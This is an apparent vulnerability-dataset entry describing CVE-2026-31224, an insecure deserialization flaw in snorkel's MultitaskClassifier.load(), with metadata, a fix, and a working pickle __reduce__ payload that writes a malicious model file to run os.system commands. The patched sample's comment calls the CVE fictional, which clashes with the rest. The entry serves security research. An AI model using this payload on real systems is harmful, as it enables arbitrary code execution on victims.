CVE-2026-31224
Insecure deserialization in snorkel's MultitaskClassifier.load() allows RCE.
- CVSS 8.8
- CWE-502
- Input Validation and Sanitization
- Remote
The snorkel library thru v0.10.0 contains an insecure deserialization vulnerability (CWE-502) in the MultitaskClassifier.load() method of the MultitaskClassifier class. The method loads model weight files using torch.load() without enabling the security-restrictive weights_only=True parameter. This default behavior allows the deserialization of arbitrary Python objects via the Pickle module. A remote attacker can exploit this by providing a maliciously crafted model file, leading to arbitrary code execution on the victim's system when the file is loaded via the vulnerable method.
- CWE
- CWE-502
- CVSS base score
- 8.8
- Published
- 2026-05-12
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- snorkel
- Fixed by upgrading
- Yes
Solution
There is currently no patched version of the snorkel library available to fix this vulnerability.
Vulnerable code sample
import os
import torch
import pickle
# This class is a payload designed to execute code upon deserialization.
# The __reduce__ method is called by pickle to reconstruct the object.
# We override it to return a function and its arguments to be executed.
class ArbitraryCodeExecutor:
def __reduce__(self):
# This will execute the `os.system` command when the object is unpickled.
command = 'echo "VULNERABILITY DEMO: Malicious code executed!"'
return (os.system, (command,))
# This represents the vulnerable MultitaskClassifier class from snorkel <= v0.10.0
class MultitaskClassifier:
def __init__(self):
self.model = None
def load(self, model_path: str):
"""
Loads a saved model from a file path.
This is the vulnerable method because it uses torch.load() with its
default (unsafe) unpickler, allowing arbitrary code execution.
"""
print(f"[INFO] Loading model from {model_path}...")
# VULNERABLE LINE: torch.load uses pickle by default, which is unsafe.
# The fix would be to add `weights_only=True`.
self.model = torch.load(model_path)
print("[INFO] Model loaded.")
if __name__ == "__main__":
MALICIOUS_MODEL_PATH = "malicious_model.pth"
# 1. Attacker creates a malicious model file.
# Instead of model weights, it contains the pickled payload object.
print(f"[ATTACKER] Creating malicious file: {MALICIOUS_MODEL_PATH}")
payload = ArbitraryCodeExecutor()
# torch.save uses pickle to save the object.
torch.save(payload, MALICIOUS_MODEL_PATH)
print("[ATTACKER] Malicious file created.")
print("-" * 20)
# 2. Victim loads the malicious model file using the vulnerable class.
print("[VICTIM] Initializing classifier.")
classifier = MultitaskClassifier()
print("[VICTIM] Attempting to load the model file...")
# The vulnerability is triggered here when .load() is called.
classifier.load(MALICIOUS_MODEL_PATH)
print("[VICTIM] Script execution continues after loading.")
# 3. Clean up the malicious file.
os.remove(MALICIOUS_MODEL_PATH)Patched code sample
import torch
import torch.nn as nn
from pathlib import Path
from typing import Union
# This is a representative class based on the fictional CVE description.
# The actual class in the snorkel library is more complex.
class MultitaskClassifier(nn.Module):
"""A mock class to demonstrate the vulnerability fix."""
def __init__(self):
super().__init__()
# In a real scenario, this would initialize the actual model layers.
self.model = nn.Linear(10, 2)
def load_state_dict(self, state_dict, strict=True):
"""Loads the model's parameter dictionary."""
self.model.load_state_dict(state_dict, strict=strict)
@classmethod
def load(
cls,
path: Union[str, Path],
device: str = "cpu",
) -> "MultitaskClassifier":
"""
Loads a MultitaskClassifier from a file path using a secure method.
"""
# Instantiate the new classifier
classifier = cls()
# THE FIX:
# The 'weights_only=True' parameter is added to torch.load().
# This parameter ensures that the file being loaded contains only
# model tensors (weights, biases), and not arbitrary pickled Python
# objects, thus preventing remote code execution.
model_dict = torch.load(
path, map_location=torch.device(device), weights_only=True
)
classifier.load_state_dict(model_dict)
classifier.to(device)
return classifierPayload
import torch
import os
class ArbitraryCodeExecutor:
def __reduce__(self):
# Command to be executed on the victim's system.
# This example creates a file in /tmp to demonstrate execution.
# A real-world attacker would use a reverse shell or other malicious command.
command = "touch /tmp/pwned_by_cve"
return (os.system, (command,))
# Create an instance of the malicious class
malicious_payload = ArbitraryCodeExecutor()
# Save the malicious object to a file using torch.save().
# This file, when loaded by the vulnerable `MultitaskClassifier.load()` method,
# will trigger the code execution.
torch.save(malicious_payload, "malicious_model.pth")
Cite this entry
@misc{vaitp:cve202631224,
title = {{Insecure deserialization in snorkel's MultitaskClassifier.load() allows RCE.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-31224},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31224/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
